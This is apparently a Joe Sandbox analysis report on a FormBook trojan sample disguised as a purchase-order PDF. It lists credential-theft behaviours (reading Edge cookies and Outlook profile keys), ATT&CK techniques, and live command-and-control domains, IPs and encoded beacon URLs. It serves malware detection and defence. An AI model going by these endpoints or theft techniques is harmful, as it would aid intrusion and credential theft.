Source: C:\Windows\SysWOW64\mstsc.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\SysWOW64\mstsc.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\

Remote Access Functionality

Source: Yara match	File source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.3895831173.0000000000480000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3897012807.0000000000D10000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3897058690.0000000000D60000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2158074372.0000000003B20000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2157680976.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2158514500.0000000004200000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.3897432800.0000000002360000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	312 Process Injection	2 Virtualization/Sandbox Evasion	1 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Email Collection	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 Abuse Elevation Control Mechanism	312 Process Injection	21 Input Capture	151 Security Software Discovery	Remote Desktop Protocol	21 Input Capture	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	Security Account Manager	2 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	1 Archive Collected Data	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Abuse Elevation Control Mechanism	NTDS	3 Process Discovery	Distributed Component Object Model	1 Data from Local System	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	31 Obfuscated Files or Information	LSA Secrets	11 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Software Packing	Cached Domain Credentials	2 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	115 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
PO-78140924.BAT.PDF.exe	79%	ReversingLabs	Win32.Trojan.Strab
PO-78140924.BAT.PDF.exe	100%	Avira	HEUR/AGEN.1353271
PO-78140924.BAT.PDF.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
http://www.heldhold.xyz/fava/?lHul=nfQTqL40vDEpIp30&vf5pwn=GCDZpLqdSYk7fT5BaAxVCvWfN8QL3LUdfdSMH3wAhEJHSlsoeLITVJbnCwS/lbUV+KMqaRxHJZIr2IJ0lKwQAngPiIKVJBW1l0NVsB5cz1lTXdEnKbnDfocvymGyGvQBrQ==	0%	Avira URL Cloud	safe
http://www.mfgarage.net/3lu7/?vf5pwn=nzWofdhWpyQTuQkAURoZiOuSpDDcsuZ4SJ26h7kwykQFM8AQx5IfrLSrYivs6QFJHI8FrKvcoPkOi5L1XFRCJcPncARSRGAtt0+HcJ3GcQEnXiNUfFJGdHJ4JUWSbdHV9w==&lHul=nfQTqL40vDEpIp30	0%	Avira URL Cloud	safe
http://www.ultraleap.net/8pln/?vf5pwn=T9/DtY4QstE2hf5N+QbDCp08BY0+/KIvfz5cQjr/yHb6PkgoDrQz8TZtAEENUqwsBaW/Syqgj8DnNvIHzYG9qM2494p5Ur94ranWdRPLWWfdK4ZvNUpqMUToNubzG0SM8g==&lHul=nfQTqL40vDEpIp30	0%	Avira URL Cloud	safe
https://whois.gandi.net/en/results?search=ultraleap.net	0%	Avira URL Cloud	safe
http://www.linkwave.cloud/al6z/	0%	Avira URL Cloud	safe
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	0%	Avira URL Cloud	safe
http://www.2bhp.com/a4ar/?vf5pwn=bigEPZ6XMKFUrjbkOOF/tc1QSeZpy4rj9U81Matj+rZ/AUf1cwoUFkvfutX9dfv4h0MjihypUwM2GA6oEMuOCaAaQ3Lxux4SSFbsDgkYjgjAaiC5myZdzdYIguvdh1gvDg==&lHul=nfQTqL40vDEpIp30	0%	Avira URL Cloud	safe
http://www.dalong.site/v2c3/	0%	Avira URL Cloud	safe
http://www.b5x7vk.agency/zznj/	0%	Avira URL Cloud	safe
https://www.gandi.net/en/domain	0%	Avira URL Cloud	safe
http://www.dalong.site/v2c3/?lHul=nfQTqL40vDEpIp30&vf5pwn=4KW7rJi8xQgG5JuhUUy4oHXtvgFnSuEzPrutLC9Z2JC7riozJk19TyUHcpxc9ASY/m5rLPYp2hVK9kL/MGxet5jRO5AJzixTprPi8JCHFDrvphN2mQYrYWI0Ljg/1k5GCA==	0%	Avira URL Cloud	safe
http://www.asiapartnars.online/kt2f/	0%	Avira URL Cloud	safe
http://www.asiapartnars.online/kt2f/?vf5pwn=3qIRfQl/AKdo1myXluGCiikgEIMzjkfYZ4NmxJouZDst8nFYGFmfJjzqUfk6VEmL81v5o0lFZhte5+gDx+sfHO+i2Ne6X81cG7kNzDpu31X3NSjbrBV+9ESn2I73xzu4qQ==&lHul=nfQTqL40vDEpIp30	0%	Avira URL Cloud	safe
http://www.mfgarage.net/3lu7/	0%	Avira URL Cloud	safe
http://www.ultraleap.net/8pln/	0%	Avira URL Cloud	safe
http://www.b5x7vk.agency	0%	Avira URL Cloud	safe
https://secure.sahibinden.com/login?return_url=http%3A%2F%2Fwww.mfgarage.net%2F3lu7%2F%3Fvf5pwn%3Dnz	0%	Avira URL Cloud	safe
http://www.heldhold.xyz/fava/	0%	Avira URL Cloud	safe
http://www.63582.photo/5o7d/	0%	Avira URL Cloud	safe
http://www.63582.photo/5o7d/?vf5pwn=zMeRclQqEZ6cHEkv6r3h6rNdPeIv0NfXLXq5VQFXrGMOKBUumeR2nXgC5pr3HgG3QDdipY9Tb1BbXYBiFpGdsHlq0LOSSwDS14egmHnY5/1aPOe4+/4uS5IVfZSCCmkbAw==&lHul=nfQTqL40vDEpIp30	0%	Avira URL Cloud	safe
http://www.mgeducacaopro.online/xamn/	0%	Avira URL Cloud	safe
http://www.linkwave.cloud/al6z/?lHul=nfQTqL40vDEpIp30&vf5pwn=VRCNh0NW0GgzXjJ+E9kBcAqzCeGDRYuLK6gi/31OI/HLVz3edLOFPgfBWIIFI1yv4KnHdZ/ByCAdRrOw29Cpu7tsWuW3JQaVwptT6evyL2oGhO/bgF+68v7eWhteCSlc6A==	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
webredir.vip.gandi.net	217.70.184.50	true	true	unknown
azkwupgf.as66588.com	103.248.137.209	true	true	unknown
dalong.site	172.96.187.60	true	true	unknown
www.b5x7vk.agency	172.67.165.25	true	true	unknown
www.heldhold.xyz	67.223.117.189	true	true	unknown
www.2bhp.com	81.88.63.46	true	true	unknown
linkwave.cloud	3.33.130.190	true	true	unknown
asiapartnars.online	3.33.130.190	true	true	unknown
mgeducacaopro.online	3.33.130.190	true	true	unknown
www.mfgarage.net	85.153.138.113	true	true	unknown
www.dalong.site	unknown	unknown	true	unknown
www.useanecdotenow.tech	unknown	unknown	true	unknown
www.ultraleap.net	unknown	unknown	true	unknown
www.linkwave.cloud	unknown	unknown	true	unknown
www.mgeducacaopro.online	unknown	unknown	true	unknown
www.63582.photo	unknown	unknown	true	unknown
www.asiapartnars.online	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://www.linkwave.cloud/al6z/	true	Avira URL Cloud: safe	unknown
http://www.ultraleap.net/8pln/?vf5pwn=T9/DtY4QstE2hf5N+QbDCp08BY0+/KIvfz5cQjr/yHb6PkgoDrQz8TZtAEENUqwsBaW/Syqgj8DnNvIHzYG9qM2494p5Ur94ranWdRPLWWfdK4ZvNUpqMUToNubzG0SM8g==&lHul=nfQTqL40vDEpIp30	true	Avira URL Cloud: safe	unknown
http://www.mfgarage.net/3lu7/?vf5pwn=nzWofdhWpyQTuQkAURoZiOuSpDDcsuZ4SJ26h7kwykQFM8AQx5IfrLSrYivs6QFJHI8FrKvcoPkOi5L1XFRCJcPncARSRGAtt0+HcJ3GcQEnXiNUfFJGdHJ4JUWSbdHV9w==&lHul=nfQTqL40vDEpIp30	true	Avira URL Cloud: safe	unknown
http://www.heldhold.xyz/fava/?lHul=nfQTqL40vDEpIp30&vf5pwn=GCDZpLqdSYk7fT5BaAxVCvWfN8QL3LUdfdSMH3wAhEJHSlsoeLITVJbnCwS/lbUV+KMqaRxHJZIr2IJ0lKwQAngPiIKVJBW1l0NVsB5cz1lTXdEnKbnDfocvymGyGvQBrQ==	true	Avira URL Cloud: safe	unknown
http://www.b5x7vk.agency/zznj/	true	Avira URL Cloud: safe	unknown
http://www.dalong.site/v2c3/	true	Avira URL Cloud: safe	unknown
http://www.2bhp.com/a4ar/?vf5pwn=bigEPZ6XMKFUrjbkOOF/tc1QSeZpy4rj9U81Matj+rZ/AUf1cwoUFkvfutX9dfv4h0MjihypUwM2GA6oEMuOCaAaQ3Lxux4SSFbsDgkYjgjAaiC5myZdzdYIguvdh1gvDg==&lHul=nfQTqL40vDEpIp30	true	Avira URL Cloud: safe	unknown
http://www.dalong.site/v2c3/?lHul=nfQTqL40vDEpIp30&vf5pwn=4KW7rJi8xQgG5JuhUUy4oHXtvgFnSuEzPrutLC9Z2JC7riozJk19TyUHcpxc9ASY/m5rLPYp2hVK9kL/MGxet5jRO5AJzixTprPi8JCHFDrvphN2mQYrYWI0Ljg/1k5GCA==	true	Avira URL Cloud: safe	unknown
http://www.asiapartnars.online/kt2f/?vf5pwn=3qIRfQl/AKdo1myXluGCiikgEIMzjkfYZ4NmxJouZDst8nFYGFmfJjzqUfk6VEmL81v5o0lFZhte5+gDx+sfHO+i2Ne6X81cG7kNzDpu31X3NSjbrBV+9ESn2I73xzu4qQ==&lHul=nfQTqL40vDEpIp30	true	Avira URL Cloud: safe	unknown
http://www.asiapartnars.online/kt2f/	true	Avira URL Cloud: safe	unknown
http://www.mfgarage.net/3lu7/	true	Avira URL Cloud: safe	unknown
http://www.63582.photo/5o7d/	true	Avira URL Cloud: safe	unknown
http://www.63582.photo/5o7d/?vf5pwn=zMeRclQqEZ6cHEkv6r3h6rNdPeIv0NfXLXq5VQFXrGMOKBUumeR2nXgC5pr3HgG3QDdipY9Tb1BbXYBiFpGdsHlq0LOSSwDS14egmHnY5/1aPOe4+/4uS5IVfZSCCmkbAw==&lHul=nfQTqL40vDEpIp30	true	Avira URL Cloud: safe	unknown
http://www.ultraleap.net/8pln/	true	Avira URL Cloud: safe	unknown
http://www.heldhold.xyz/fava/	true	Avira URL Cloud: safe	unknown
http://www.mgeducacaopro.online/xamn/	true	Avira URL Cloud: safe	unknown
http://www.linkwave.cloud/al6z/?lHul=nfQTqL40vDEpIp30&vf5pwn=VRCNh0NW0GgzXjJ+E9kBcAqzCeGDRYuLK6gi/31OI/HLVz3edLOFPgfBWIIFI1yv4KnHdZ/ByCAdRrOw29Cpu7tsWuW3JQaVwptT6evyL2oGhO/bgF+68v7eWhteCSlc6A==	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	mstsc.exe, 00000004.00000003.2351304274.000000000767E000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/ac/?q=	mstsc.exe, 00000004.00000003.2351304274.000000000767E000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://whois.gandi.net/en/results?search=ultraleap.net	YKkstfciYBQ.exe, 00000003.00000002.3899395542.0000000004456000.00000004.80000000.00040000.00000000.sdmp, mstsc.exe, 00000004.00000002.3897855714.0000000005096000.00000004.10000000.00040000.00000000.sdmp, mstsc.exe, 00000004.00000002.3899373295.0000000007390000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	mstsc.exe, 00000004.00000003.2351304274.000000000767E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	mstsc.exe, 00000004.00000003.2351304274.000000000767E000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	mstsc.exe, 00000004.00000003.2351304274.000000000767E000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.gandi.net/en/domain	YKkstfciYBQ.exe, 00000003.00000002.3899395542.0000000004456000.00000004.80000000.00040000.00000000.sdmp, mstsc.exe, 00000004.00000002.3897855714.0000000005096000.00000004.10000000.00040000.00000000.sdmp, mstsc.exe, 00000004.00000002.3899373295.0000000007390000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.ecosia.org/newtab/	mstsc.exe, 00000004.00000003.2351304274.000000000767E000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ac.ecosia.org/autocomplete?q=	mstsc.exe, 00000004.00000003.2351304274.000000000767E000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://secure.sahibinden.com/login?return_url=http%3A%2F%2Fwww.mfgarage.net%2F3lu7%2F%3Fvf5pwn%3Dnz	YKkstfciYBQ.exe, 00000003.00000002.3899395542.00000000050E6000.00000004.80000000.00040000.00000000.sdmp, mstsc.exe, 00000004.00000002.3897855714.0000000005D26000.00000004.10000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.b5x7vk.agency	YKkstfciYBQ.exe, 00000003.00000002.3900775999.00000000063C2000.00000040.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	mstsc.exe, 00000004.00000003.2351304274.000000000767E000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	mstsc.exe, 00000004.00000003.2351304274.000000000767E000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
67.223.117.189	www.heldhold.xyz	United States	15189	VIMRO-AS15189US	true
172.96.187.60	dalong.site	Canada	32475	SINGLEHOP-LLCUS	true
103.248.137.209	azkwupgf.as66588.com	Hong Kong	59371	DNC-ASDimensionNetworkCommunicationLimitedHK	true
172.67.165.25	www.b5x7vk.agency	United States	13335	CLOUDFLARENETUS	true
217.70.184.50	webredir.vip.gandi.net	France	29169	GANDI-ASDomainnameregistrar-httpwwwgandinetFR	true
81.88.63.46	www.2bhp.com	Italy	39729	REGISTER-ASIT	true
3.33.130.190	linkwave.cloud	United States	8987	AMAZONEXPANSIONGB	true
85.153.138.113	www.mfgarage.net	Turkey	12946	TELECABLESpainES	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1519457
Start date and time:	2024-09-26 15:21:08 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 19s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Run name:	Run with higher sleep bypass
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	PO-78140924.BAT.PDF.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@7/4@11/8
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 82% Number of executed functions: 92 Number of non-executed functions: 330
Cookbook Comments:	Found application associated with file extension: .exe Sleeps bigger than 100000000ms are automatically reduced to 1000ms

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing disassembly code.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: PO-78140924.BAT.PDF.exe

Simulations

Behavior and APIs

Time	Type	Description
09:22:48	API Interceptor	7311144x Sleep call for process: mstsc.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
67.223.117.189	rP0n___87004354.exe	Get hash	malicious	FormBook	Browse	www.heldhold.xyz/fava/
	Enquiry.exe	Get hash	malicious	FormBook	Browse	www.uburn.xyz/iqqs/
	AWB_5771388044 Documenti di spedizione.exe	Get hash	malicious	FormBook	Browse	www.uburn.xyz/unks/
	ncOLm62YLB.exe	Get hash	malicious	FormBook	Browse	www.uburn.xyz/unks/
	DOC092024-0431202229487.exe	Get hash	malicious	FormBook	Browse	www.heldhold.xyz/fava/
	LisectAVT_2403002B_466.exe	Get hash	malicious	FormBook	Browse	www.techstone.top/d5fo/
	Shipping Documents 7896424100.exe	Get hash	malicious	FormBook	Browse	www.nodedev.top/wnsq/
	ORDEN_240715189833.IMG	Get hash	malicious	DarkTortilla, FormBook	Browse	www.akissdove.xyz/8ntn/
	OrderPI.exe	Get hash	malicious	FormBook	Browse	www.helidove.xyz/no40/
	PRE-ALERT HTHC22031529.exe	Get hash	malicious	FormBook	Browse	www.nodedev.top/wnsq/
172.96.187.60	rP0n___87004354.exe	Get hash	malicious	FormBook	Browse	www.dalong.site/v2c3/
	DOC092024-0431202229487.exe	Get hash	malicious	FormBook	Browse	www.dalong.site/v2c3/
	xU0wdBC6XWRZ6UY.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	www.resmierabaru20.shop/ps15/?_jATs=UfdXThPpQ4ST0&XtutFHLx=3z9oRqqmd6FbtNg9CkHjvIkeoG86+7PKpZbS0bbY4gI7z8JQO6bI5gwIdi8ZdM48HBzoDxHL8Q==
103.248.137.209	rP0n___87004354.exe	Get hash	malicious	FormBook	Browse	www.63582.photo/5o7d/
172.67.165.25	Payment Advise-PDF.exe	Get hash	malicious	FormBook	Browse	www.b5x7vk.agency/3rsv/
217.70.184.50	NVOICE FOR THE MONTH OF AUG-24.exe	Get hash	malicious	FormBook	Browse	www.turbonotes.app/yvck/
	CITA#U00c7#U00c3O.exe	Get hash	malicious	FormBook	Browse	www.languagemodel.pro/nxfn/
	rP0n___87004354.exe	Get hash	malicious	FormBook	Browse	www.ultraleap.net/8pln/
	CYTAT.exe	Get hash	malicious	FormBook	Browse	www.languagemodel.pro/nxfn/
	Cotizaci#U00f3n.exe	Get hash	malicious	FormBook	Browse	www.languagemodel.pro/nxfn/
	ES-241-29335_pdf.exe	Get hash	malicious	FormBook	Browse	www.offkase.org/vkr8/
	RECIEPT.PDF.exe	Get hash	malicious	FormBook	Browse	www.ultraleap.net/hwgh/
	PO# Q919240.exe	Get hash	malicious	FormBook	Browse	www.languagemodel.pro/nxfn/
	PO098765678.exe	Get hash	malicious	FormBook	Browse	www.ultraleap.net/4qqr/
	PAGO $830.900.exe	Get hash	malicious	FormBook	Browse	www.languagemodel.pro/nxfn/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
www.heldhold.xyz	rP0n___87004354.exe	Get hash	malicious	FormBook	Browse	67.223.117.189
www.heldhold.xyz	DOC092024-0431202229487.exe	Get hash	malicious	FormBook	Browse	67.223.117.189
webredir.vip.gandi.net	NVOICE FOR THE MONTH OF AUG-24.exe	Get hash	malicious	FormBook	Browse	217.70.184.50
	CITA#U00c7#U00c3O.exe	Get hash	malicious	FormBook	Browse	217.70.184.50
	rP0n___87004354.exe	Get hash	malicious	FormBook	Browse	217.70.184.50
	CYTAT.exe	Get hash	malicious	FormBook	Browse	217.70.184.50
	Cotizaci#U00f3n.exe	Get hash	malicious	FormBook	Browse	217.70.184.50
	ES-241-29335_pdf.exe	Get hash	malicious	FormBook	Browse	217.70.184.50
	RECIEPT.PDF.exe	Get hash	malicious	FormBook	Browse	217.70.184.50
	PO# Q919240.exe	Get hash	malicious	FormBook	Browse	217.70.184.50
	PO098765678.exe	Get hash	malicious	FormBook	Browse	217.70.184.50
	PAGO $830.900.exe	Get hash	malicious	FormBook	Browse	217.70.184.50
www.2bhp.com	rP0n___87004354.exe	Get hash	malicious	FormBook	Browse	81.88.63.46
	AWB_5771388044 Documenti di spedizione.exe	Get hash	malicious	FormBook	Browse	81.88.63.46
	ncOLm62YLB.exe	Get hash	malicious	FormBook	Browse	81.88.63.46
	DOC092024-0431202229487.exe	Get hash	malicious	FormBook	Browse	81.88.63.46
azkwupgf.as66588.com	RN# D7521-RN-00353 REV-2.exe	Get hash	malicious	FormBook	Browse	147.92.40.174
	rP0n___87004354.exe	Get hash	malicious	FormBook	Browse	103.248.137.209
	inquiry and prices EO-230807.exe	Get hash	malicious	FormBook	Browse	147.92.40.175
	HBLAWBP.LISTCOC & INV.exe	Get hash	malicious	FormBook	Browse	147.92.40.174
	NEW ORDERS scan_29012019.exe	Get hash	malicious	FormBook	Browse	147.92.40.175
	DOC092024-0431202229487.exe	Get hash	malicious	FormBook	Browse	147.92.40.175
www.b5x7vk.agency	rP0n___87004354.exe	Get hash	malicious	FormBook	Browse	104.21.11.31
	Payment Advise-PDF.exe	Get hash	malicious	FormBook	Browse	172.67.165.25
	DOC092024-0431202229487.exe	Get hash	malicious	FormBook	Browse	104.21.11.31

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
SINGLEHOP-LLCUS	RFQ____RM quotation_JPEG IMAGE.img.exe	Get hash	malicious	Snake Keylogger	Browse	67.212.175.162
	https://xtrafree.x10.mx/	Get hash	malicious	Unknown	Browse	198.91.81.14
	http://dev-265334124785.pantheonsite.io/	Get hash	malicious	Unknown	Browse	198.143.164.252
	http://dev-gdtf.pantheonsite.io/	Get hash	malicious	Unknown	Browse	198.143.164.252
	http://www.rb.gy/onu2r0/	Get hash	malicious	Unknown	Browse	198.143.164.252
	http://www.rb.gy/v99361/	Get hash	malicious	Unknown	Browse	198.143.164.252
	rP0n___87004354.exe	Get hash	malicious	FormBook	Browse	172.96.187.60
	http://www.rb.gy/yfdl7y/	Get hash	malicious	Unknown	Browse	198.143.164.252
	http://www.rb.gy/h66x7g/	Get hash	malicious	Unknown	Browse	198.143.164.252
	http://www.rb.gy/6ucw3c/	Get hash	malicious	Unknown	Browse	198.143.164.252
CLOUDFLARENETUS	NVOICE FOR THE MONTH OF AUG-24.exe	Get hash	malicious	FormBook	Browse	172.67.181.150
	https://www.google.co.uk/url?q=xtcjw2geVaKWnfmdoGJR&rct=plPBlHNa5kwdhss6Wkqp&sa=t&esrc=513lj8JvP7Ittpg5uakw&source=&cd=HEdeaS5QG8iPRKWBvNC5&cad=v3vi70ntSK6fhpPYoZj8&ved=blJ54Mupbf2HcJbicYcQ&uact=&url=amp/s%2Furl.us.m.mimecastprotect.com/s/n0rICERpMNsxN8vRCNfXC76qeb?domain=sharedocx.z13.web.core.windows.net	Get hash	malicious	Unknown	Browse	104.21.67.246
	TLS20242025.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	https://www.google.co.za/url?q=xtcjw2geVaKWnfmdoGJR&rct=plPBlHNa5kwdhss6Wkqp&sa=t&esrc=513lj8JvP7Ittpg5uakw&source=&cd=HEdeaS5QG8iPRKWBvNC5&cad=v3vi70ntSK6fhpPYoZj8&ved=blJ54Mupbf2HcJbicYcQ&uact=&url=amp/s%2Furl.za.m.mimecastprotect.com/s/BjZHCy856GFEJl8cZf1CxlF3B	Get hash	malicious	Unknown	Browse	104.21.67.246
	purchase order.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	REQUEST FOR QUOTATION.js	Get hash	malicious	PXRECVOWEIWOEI Stealer, PureLog Stealer	Browse	172.66.0.235
	https://www.google.to/url?url=https://bxaxlsoggszcwwbz&nzc=vvjpqcc&suvkdk=cmz&kwdec=vutety&cbb=sslsceg&pagnn=fuhmpw&dkqf=mwwhastk&ffmvozjupo=yqbyougxxo&q=amp/gm5bqhj.g%C2%ADb%C2%ADe%C2%ADym%C2%ADw%C2%ADc%C2%ADg%C2%ADv%C2%ADk%C2%ADb%C2%ADd%C2%ADevll.com%E2%80%8B/cbvogermm&clnw=xokmakg&dhxrdhh=zgwr&tievm=savxww&gfpizxn=fnv	Get hash	malicious	HTMLPhisher	Browse	104.21.235.70
	http://erptanacsadas.hu.pages.services/secure-business-document/?ts=1726767567620	Get hash	malicious	HtmlDropper	Browse	188.114.96.3
	https://forms.office.com/e/jUjy5zj0tM	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	You have a held messages (dawie@ddebeer.co.za).msg	Get hash	malicious	Unknown	Browse	1.1.1.1
DNC-ASDimensionNetworkCommunicationLimitedHK	RN# D7521-RN-00353 REV-2.exe	Get hash	malicious	FormBook	Browse	147.92.40.174
	rP0n___87004354.exe	Get hash	malicious	FormBook	Browse	103.248.137.209
	inquiry and prices EO-230807.exe	Get hash	malicious	FormBook	Browse	147.92.40.175
	HBLAWBP.LISTCOC & INV.exe	Get hash	malicious	FormBook	Browse	147.92.40.174
	NEW ORDERS scan_29012019.exe	Get hash	malicious	FormBook	Browse	147.92.40.175
	DOC092024-0431202229487.exe	Get hash	malicious	FormBook	Browse	147.92.40.175
	Udspecialiser45.exe	Get hash	malicious	FormBook, GuLoader	Browse	147.92.36.247
	http://oveman-austral.com/	Get hash	malicious	Unknown	Browse	147.92.44.231
	PURCHASING ORDER.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	147.92.35.81
	a82WdwCQnQOQf4b.exe	Get hash	malicious	FormBook	Browse	147.92.35.81
VIMRO-AS15189US	rP0n___87004354.exe	Get hash	malicious	FormBook	Browse	67.223.117.189
	Enquiry.exe	Get hash	malicious	FormBook	Browse	67.223.117.189
	AWB_5771388044 Documenti di spedizione.exe	Get hash	malicious	FormBook	Browse	67.223.117.189
	ncOLm62YLB.exe	Get hash	malicious	FormBook	Browse	67.223.117.189
	DOC092024-0431202229487.exe	Get hash	malicious	FormBook	Browse	67.223.117.189
	SecuriteInfo.com.Win32.CrypterX-gen.29913.30159.exe	Get hash	malicious	FormBook	Browse	67.223.118.13
	LisectAVT_2403002B_466.exe	Get hash	malicious	FormBook	Browse	67.223.117.189
	H37012.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	67.223.118.13
	file.exe	Get hash	malicious	LummaC, Clipboard Hijacker, LummaC Stealer	Browse	67.223.119.7
	file.exe	Get hash	malicious	LummaC, Clipboard Hijacker, LummaC Stealer	Browse	67.223.119.7

Process:	C:\Windows\SysWOW64\mstsc.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
